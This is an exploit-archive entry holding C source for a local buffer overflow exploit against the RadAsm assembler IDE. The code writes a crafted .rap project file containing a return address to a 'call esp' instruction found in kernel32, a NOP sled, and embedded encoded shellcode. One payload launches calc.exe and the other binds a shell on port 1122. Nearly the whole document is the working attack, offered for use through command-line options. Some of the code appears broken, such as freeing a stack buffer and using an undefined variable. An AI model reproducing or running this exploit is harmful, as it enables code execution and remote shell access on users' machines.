Author

fl0 fl0w

Risk

[

Security Risk Unsored

]

0day-ID

0day-ID-10849

Category

local exploits

Date add

11-02-2010

Platform

unsorted

====================================================
Radasm .rap file local buffer overflow vulnerability
====================================================

#include<stdio.h>
#include<windows.h>
#include<getopt.h>
void gen_random(char*,const int);
void print(char*);
unsigned int getFsize(FILE*,char*);
void buildfile(char*);
int make_bindshell(unsigned short);
void help();
void printshell();
DWORD SearchStream(const char *,size_t,const char *,size_t);
DWORD GetNtosDelta (VOID);
DWORD GetOSVersion (VOID);
DWORD FindRetToEspAddress(VOID);
#define VULNF           "ufwew.rap"
#define VER             "2.2.1.6"
#define POCNAME         "Radasm .rap file local buffer overflow exploit"
#define AUTHOR          "fl0 fl0w"
#define IF(x,NULL)      if(x==NULL)
#define FOR(i,a,b)      for(i=a;i<b;++i)
#define EIPOFFSET       0xDD
#define NOP             "\x90\x90\x90\x90\x90" \
                        "\x90\x90\x90\x90\x90"
#define NUL             '\0'
#define CLEAR(x)        free(x)
#define WXP_DELTA 0xA67FF;
#define W2K_DELTA 0x0;
#define W2K3_DELTA 0x0;
#define WVISTA_DELTA 0x0;
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    DWORD  g_dwOsVersion        = 0;
    LPVOID g_PatchAddress       = NULL;
    typedef BOOL(WINAPI *PENUMDEVICES)(LPVOID*,DWORD ,LPDWORD);
    typedef DWORD(WINAPI *PGETDEVNAME)(LPVOID ImageBase,char  *lpBaseName,DWORD nSize);
    typedef DWORD (WINAPI* PQUERYSYSTEM)(UINT, PVOID, DWORD,PDWORD);
    enum OSes
   {
    OS_WXP=1,
    OS_W2K,
    OS_W2K3,
    OS_VISTA
    };
   typedef enum{
           True=1,
           False=0,
           Error=-1
           }boolean;     
   struct{    
           char* sname;
           int sz;
           char* shell;
          }use[]={            
        {"calc.exe",338,
    "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49" 
   "\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x51\x5a\x37\x6a\x63"
   "\x58\x30\x42\x30\x50\x42\x6b\x42\x41\x73\x41\x42\x32\x42\x41\x32"
   "\x41\x41\x30\x41\x41\x58\x38\x42\x42\x50\x75\x38\x69\x69\x6c\x38"
   "\x68\x41\x54\x77\x70\x57\x70\x75\x50\x6e\x6b\x41\x55\x55\x6c\x6e"
   "\x6b\x43\x4c\x66\x65\x41\x68\x45\x51\x58\x6f\x4c\x4b\x50\x4f\x62"
   "\x38\x6e\x6b\x41\x4f\x31\x30\x36\x61\x4a\x4b\x41\x59\x6c\x4b\x74"
   "\x74\x6e\x6b\x44\x41\x4a\x4e\x47\x41\x4b\x70\x6f\x69\x6c\x6c\x4c"
   "\x44\x4b\x70\x43\x44\x76\x67\x4b\x71\x4a\x6a\x66\x6d\x66\x61\x39"
   "\x52\x5a\x4b\x4a\x54\x75\x6b\x62\x74\x56\x44\x73\x34\x41\x65\x4b"
   "\x55\x4e\x6b\x73\x6f\x54\x64\x53\x31\x6a\x4b\x35\x36\x6c\x4b\x64"
   "\x4c\x30\x4b\x6c\x4b\x73\x6f\x57\x6c\x75\x51\x6a\x4b\x6c\x4b\x37"
   "\x6c\x6c\x4b\x77\x71\x68\x6b\x4c\x49\x71\x4c\x51\x34\x43\x34\x6b"
   "\x73\x46\x51\x79\x50\x71\x74\x4c\x4b\x67\x30\x36\x50\x4c\x45\x4b"
   "\x70\x62\x58\x74\x4c\x6c\x4b\x53\x70\x56\x6c\x4e\x6b\x34\x30\x47"
   "\x6c\x4e\x4d\x6c\x4b\x70\x68\x37\x78\x58\x6b\x53\x39\x6c\x4b\x4f"
   "\x70\x6c\x70\x53\x30\x43\x30\x73\x30\x6c\x4b\x42\x48\x77\x4c\x61"
   "\x4f\x44\x71\x6b\x46\x73\x50\x72\x76\x6b\x39\x5a\x58\x6f\x73\x4f"
   "\x30\x73\x4b\x56\x30\x31\x78\x61\x6e\x6a\x78\x4b\x52\x74\x33\x55"
   "\x38\x4a\x38\x69\x6e\x6c\x4a\x54\x4e\x52\x77\x79\x6f\x79\x77\x42"
   "\x43\x50\x61\x70\x6c\x41\x73\x64\x6e\x51\x75\x52\x58\x31\x75\x57\x70\x63"}, 
  {
  "Bind port 1122",709,
  "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
  "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
  "\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
  "\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
  "\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4c\x56\x4b\x4e"
  "\x4d\x54\x4a\x4e\x49\x4f\x4f\x4f\x4f\x4f\x4f\x4f\x42\x46\x4b\x48"
  "\x4e\x36\x46\x52\x46\x32\x4b\x38\x45\x54\x4e\x53\x4b\x38\x4e\x37"
  "\x45\x30\x4a\x57\x41\x30\x4f\x4e\x4b\x58\x4f\x54\x4a\x31\x4b\x48"
  "\x4f\x35\x42\x52\x41\x30\x4b\x4e\x49\x34\x4b\x38\x46\x43\x4b\x48"
  "\x41\x30\x50\x4e\x41\x33\x42\x4c\x49\x49\x4e\x4a\x46\x58\x42\x4c"
  "\x46\x57\x47\x50\x41\x4c\x4c\x4c\x4d\x30\x41\x50\x44\x4c\x4b\x4e"
  "\x46\x4f\x4b\x33\x46\x45\x46\x32\x4a\x32\x45\x37\x45\x4e\x4b\x48"
  "\x4f\x55\x46\x32\x41\x50\x4b\x4e\x48\x56\x4b\x48\x4e\x50\x4b\x44"
  "\x4b\x58\x4f\x45\x4e\x31\x41\x30\x4b\x4e\x43\x30\x4e\x32\x4b\x58"
  "\x49\x38\x4e\x36\x46\x52\x4e\x41\x41\x56\x43\x4c\x41\x33\x4b\x4d"
  "\x46\x56\x4b\x38\x43\x34\x42\x53\x4b\x38\x42\x44\x4e\x30\x4b\x48"
  "\x42\x47\x4e\x51\x4d\x4a\x4b\x58\x42\x34\x4a\x30\x50\x45\x4a\x46"
  "\x50\x38\x50\x44\x50\x30\x4e\x4e\x42\x55\x4f\x4f\x48\x4d\x48\x56"
  "\x43\x55\x48\x36\x4a\x36\x43\x33\x44\x33\x4a\x46\x47\x57\x43\x57"
  "\x44\x43\x4f\x45\x46\x35\x4f\x4f\x42\x4d\x4a\x46\x4b\x4c\x4d\x4e"
  "\x4e\x4f\x4b\x43\x42\x45\x4f\x4f\x48\x4d\x4f\x55\x49\x58\x45\x4e"
  "\x48\x46\x41\x38\x4d\x4e\x4a\x50\x44\x50\x45\x35\x4c\x56\x44\x30"
  "\x4f\x4f\x42\x4d\x4a\x36\x49\x4d\x49\x50\x45\x4f\x4d\x4a\x47\x55"
  "\x4f\x4f\x48\x4d\x43\x55\x43\x45\x43\x45\x43\x35\x43\x35\x43\x44"
  "\x43\x35\x43\x34\x43\x45\x4f\x4f\x42\x4d\x48\x36\x4a\x36\x46\x50"
  "\x44\x36\x48\x36\x43\x35\x49\x38\x41\x4e\x45\x49\x4a\x36\x46\x4a"
  "\x4c\x51\x42\x47\x47\x4c\x47\x45\x4f\x4f\x48\x4d\x4c\x46\x42\x31"
  "\x41\x55\x45\x35\x4f\x4f\x42\x4d\x4a\x36\x46\x4a\x4d\x4a\x50\x42"
  "\x49\x4e\x47\x45\x4f\x4f\x48\x4d\x43\x55\x45\x45\x4f\x4f\x42\x4d"
  "\x4a\x36\x45\x4e\x49\x44\x48\x58\x49\x54\x47\x55\x4f\x4f\x48\x4d"
  "\x42\x55\x46\x35\x46\x45\x45\x45\x4f\x4f\x42\x4d\x43\x49\x4a\x46"
  "\x47\x4e\x49\x47\x48\x4c\x49\x37\x47\x55\x4f\x4f\x48\x4d\x45\x35"
  "\x4f\x4f\x42\x4d\x48\x46\x4c\x46\x46\x46\x48\x36\x4a\x46\x43\x56"
  "\x4d\x36\x49\x38\x45\x4e\x4c\x36\x42\x35\x49\x45\x49\x32\x4e\x4c"
  "\x49\x38\x47\x4e\x4c\x56\x46\x34\x49\x58\x44\x4e\x41\x43\x42\x4c"
  "\x43\x4f\x4c\x4a\x50\x4f\x44\x44\x4d\x52\x50\x4f\x44\x54\x4e\x52"
  "\x43\x39\x4d\x58\x4c\x57\x4a\x53\x4b\x4a\x4b\x4a\x4b\x4a\x4a\x56"
  "\x44\x57\x50\x4f\x43\x4b\x48\x51\x4f\x4f\x45\x57\x46\x34\x4f\x4f"
  "\x48\x4d\x4b\x45\x47\x55\x44\x45\x41\x45\x41\x35\x41\x45\x4c\x56"
  "\x41\x50\x41\x45\x41\x55\x45\x55\x41\x55\x4f\x4f\x42\x4d\x4a\x36"
  "\x4d\x4a\x49\x4d\x45\x30\x50\x4c\x43\x45\x4f\x4f\x48\x4d\x4c\x36"
  "\x4f\x4f\x4f\x4f\x47\x53\x4f\x4f\x42\x4d\x4b\x58\x47\x35\x4e\x4f"
  "\x43\x58\x46\x4c\x46\x36\x4f\x4f\x48\x4d\x44\x55\x4f\x4f\x42\x4d"
  "\x4a\x56\x42\x4f\x4c\x38\x46\x30\x4f\x35\x43\x35\x4f\x4f\x48\x4d"
  "\x4f\x4f\x42\x4d\x5a"
        },
        {NUL,NUL}
        };
  struct{
         unsigned int code;
         }usez;
   DWORD ret;          
   int S;
  int main(int argc,char* argv[]){
            ret=FindRetToEspAddress();//default eip
            if(argc<2){
                       system("cls");
                       help();
                       GetNtosDelta();
                       printshell();
                       printf("[^]The default retcode is :0x%X",ret);
                       exit(0);} 
            printf("[!]%s\n[!]%s\n[!]By %s\n",POCNAME,VER,AUTHOR);   
          int opt;
           while((opt=getopt(argc,argv,"s:t"))!=-1){
              switch(opt){
                       case 's':
                              S=atoi(optarg);
                                break;      
                       case 't':
                            sscanf(argv[4],"%x",&ret);
                         break;
                         default:
                                 help();
                       }}  
        buildfile(VULNF);
        printf("[#]You selected: %s\n",use[S].sname);
        print("DONE!");
        getchar();
        return 0;
     }
  void buildfile(char* fname){
    char buffer[100000];
       gen_random(buffer,5000);
       memcpy(buffer,file,strlen(file));
       memcpy(buffer+292,&ret,4);
       memcpy(buffer+312,NOP,10);
       memcpy(buffer+322,use[S].shell,strlen(use[S].shell));
       printf("[#]Your Retcode is: 0x%X\n",ret);
       FILE* f=fopen(fname,"wb");
       if(f){
           fwrite(buffer,1,1534,f); 
            fclose(f);
             }
          else {
             print("Error in writing file");
              exit(0); 
               }  
           free(buffer);
           free(file);   
         int sz=getFsize(f,fname); 
       printf("[!]File is %d bytes\n",sz);
       } 
         void help()
     {  char h[]="************************************************\n"
                 "*Radasm .rap file local buffer overflow exploit*\n"
                 "*syntax: [-h<shellcode>]  [-t<your target>]    *\n"    
                 "*  -s      shellcode  to run    0 or 1         *\n"
                 "*  -t      your target                         *\n"
                 "*  example: radasm.exe -s 0 -t 0xFFFFFFFF      *\n"
                 "* If you want a retcode default from your      *\n"
                 "* memory  don't use -t option                  *\n"
                 "************************************************\n";
          printf("%s",h);}  
       void printshell()
       {  print("We can use:");
         int i;
         FOR(i,0,2){
          printf("[!] %d. %s of size: %d bytes\n",i,use[i].sname,strlen(use[i].shell)); }
            }  
         DWORD GetOSVersion (VOID)
 {
    OSVERSIONINFOA  osvi;
    DWORD retval = 0;
    osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFOA);
    if(GetVersionExA(&osvi))
    { if(osvi.dwMajorVersion==5)
        {
            switch(osvi.dwMinorVersion)
            {
                case 0:
                    retval=OS_W2K;
                    break;
                case 1:
                    retval=OS_WXP;
                    break;
                case 2:
                    retval=OS_W2K3;
                    break;
            }
        } 
        else if(osvi.dwMajorVersion==6)
        {retval=OS_VISTA;
        }
    }
    g_dwOsVersion=retval;
    return retval;
 }
  DWORD GetNtosDelta (VOID)
 {  DWORD retval = 0;
    switch(GetOSVersion())
    {
        case OS_VISTA:
            print("System identified as Windows Vista\n");
            retval=WVISTA_DELTA;
            break;
        case OS_W2K:
            print("System identified as Windows 2000\n");
            retval=W2K_DELTA;
            break;
        case OS_W2K3:
            print("System identified as Windows 2003\n");
            retval=W2K3_DELTA;
            break;
        case OS_WXP:
            print("System identified as Windows XP\n");
            retval=WXP_DELTA;
            break;
        default:
            print("Unidentified system!\n");
    }
  
    return retval;
          
 }
   DWORD SearchStream(
    const char *pvStream,
    size_t uStreamSize,
    const char *pvSubStream,
    size_t uSubStreamSize)
{unsigned int uCount = 0,i,j;
    while( (uStreamSize) > (uCount) ) {
        for(i=0;i<=(uSubStreamSize-1);i++) {
            if(*pvStream != pvSubStream[i]) {
                *pvStream++;
                if( i>0 ) {
                    for(j=0;j<i;j++)
                        *pvStream--;
                }
                break;
            }
            if(i==(uSubStreamSize-1))
                return(uCount);
            *pvStream++;
        }
        uCount++;
    }
    return -1;
}
  
    DWORD FindRetToEspAddress(VOID)
   {HMODULE hModule = GetModuleHandle("kernel32.dll");
    DWORD dwEspRet;
    char* pszCallEsp = "\xFF\xD4";
    PIMAGE_DOS_HEADER pimage_dos_header;
    PIMAGE_NT_HEADERS pimage_nt_headers;
  
    pimage_dos_header = (PIMAGE_DOS_HEADER)hModule;
    pimage_nt_headers = (PIMAGE_NT_HEADERS)((DWORD)hModule+pimage_dos_header->e_lfanew);
  
    dwEspRet = SearchStream((char*)hModule,pimage_nt_headers->OptionalHeader.SizeOfImage,pszCallEsp,sizeof(WORD));
  
    return (dwEspRet += (DWORD)hModule);
    }
  unsigned int getFsize(FILE* g,char* gname)
    {unsigned int s;
             g=fopen(gname,"rb");
             IF(g,NULL)
             {
             print("File error at reading");
             exit(0);
             }           
             fseek(g,0,SEEK_END);
             s=ftell(g);
             return s;}
      void print(char* msg)
    {
       printf("[*]%s\n",msg);
    }
    void gen_random(char *s, const int len)
    { int i; //helps u find the offsets
      static const char alphanum[] ="0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
      FOR(i,0,len)
      {
        s[i]=alphanum[rand()%(sizeof(alphanum)-1)];
      }
       s[len]=0;
      }



#  0day.today [2024-12-24]  #